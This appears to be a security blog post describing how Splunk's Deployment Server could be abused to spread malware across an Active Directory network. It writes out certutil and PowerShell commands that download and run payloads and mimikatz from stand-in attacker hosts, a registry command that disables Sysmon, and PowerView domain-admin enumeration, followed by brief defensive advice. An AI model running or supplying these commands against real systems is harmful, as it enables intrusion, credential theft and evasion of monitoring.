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This article explores a potential attack vector involving Splunk’s Deployment Server/Client to bypass Security Operations Center (SOC) defenses, gain system access, and spread malware across an Active Directory environment, including farm and DMZ servers.
You Should Know:
1. Understanding Splunk Deployment Server Exploitation
Splunk’s Deployment Server is used to distribute configurations, apps, and updates to Splunk forwarders. Attackers can abuse this feature to execute malicious scripts across multiple endpoints.
Key Steps for Exploitation:
- Gain Initial Access: Compromise a system with Splunk Universal Forwarder installed.
- Modify Deployment Configurations: Inject malicious scripts or apps via the deployment server.
- Lateral Movement: The malicious payload is automatically distributed to all connected forwarders.
Example Malicious Payload (PowerShell):
Malicious PowerShell script to be deployed via Splunk Start-Process -NoNewWindow -FilePath "cmd.exe" -ArgumentList "/c certutil.exe -urlcache -split -f http://malicious.site/payload.exe C:\Windows\Temp\payload.exe && C:\Windows\Temp\payload.exe"
2. Bypassing EDR and Antivirus
EDR (Endpoint Detection and Response) solutions often rely on process monitoring. By leveraging trusted Splunk processes, attackers can evade detection.
Techniques:
- Process Hollowing: Inject malicious code into a legitimate `splunkd.exe` process.
- Living-off-the-Land Binaries (LOLBins): Use built-in Windows tools like
certutil,bitsadmin, or `msiexec` for payload delivery.
Example Command (Bypassing EDR with CertUtil):
certutil.exe -urlcache -split -f http://attacker.com/mimikatz.exe C:\Windows\Temp\mimikatz.exe && C:\Windows\Temp\mimikatz.exe
3. Fully Bypassing Sysmon
Sysmon logs process creations, network connections, and file modifications. To evade Sysmon:
– Use Reflective DLL Injection: Load malicious DLLs directly into memory without touching disk.
– Disable Sysmon via Registry (If Admin Privileges Obtained):
reg add "HKLM\SYSTEM\CurrentControlSet\Services\SysmonDrv" /v "Start" /t REG_DWORD /d "4" /f
4. Spreading Malware via Active Directory
Once inside the network, attackers can use tools like BloodHound and PowerView to map AD and move laterally.
Example PowerView Command (Enumerating Domain Admins):
Import-Module .\PowerView.ps1 Get-NetGroupMember -GroupName "Domain Admins" -Domain "target.local"
5. Defensive Measures
- Monitor Splunk Deployment Server Activity: Unusual app deployments should trigger alerts.
- Restrict Splunk Forwarder Permissions: Ensure forwarders cannot execute arbitrary scripts.
- EDR/SOC Tuning: Detect abnormal process behavior, even from trusted applications.
What Undercode Say
This attack demonstrates how trusted enterprise tools like Splunk can be weaponized. Defenders must:
– Harden deployment servers with strict access controls.
– Monitor LOLBin usage in unexpected contexts.
– Implement application whitelisting to prevent unauthorized script execution.
Related Linux & Windows Commands for Defense:
Linux (Splunk Server Hardening):
Check for unauthorized Splunk app installations ls -la /opt/splunk/etc/deployment-apps/ Monitor Splunk process activity ps aux | grep splunkd
Windows (Detecting Malicious Activity):
Check for suspicious Splunk-related processes tasklist /svc | findstr splunk Verify deployment server configurations dir "C:\Program Files\SplunkUniversalForwarder\etc\deployment-apps\"
Expected Output:
A fully weaponized Splunk deployment attack chain, including EDR bypass, lateral movement, and persistence mechanisms. Defenders must remain vigilant against abuse of legitimate administrative tools.
Relevant URLs:
References:
Reported By: Hassan Sohrabian – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
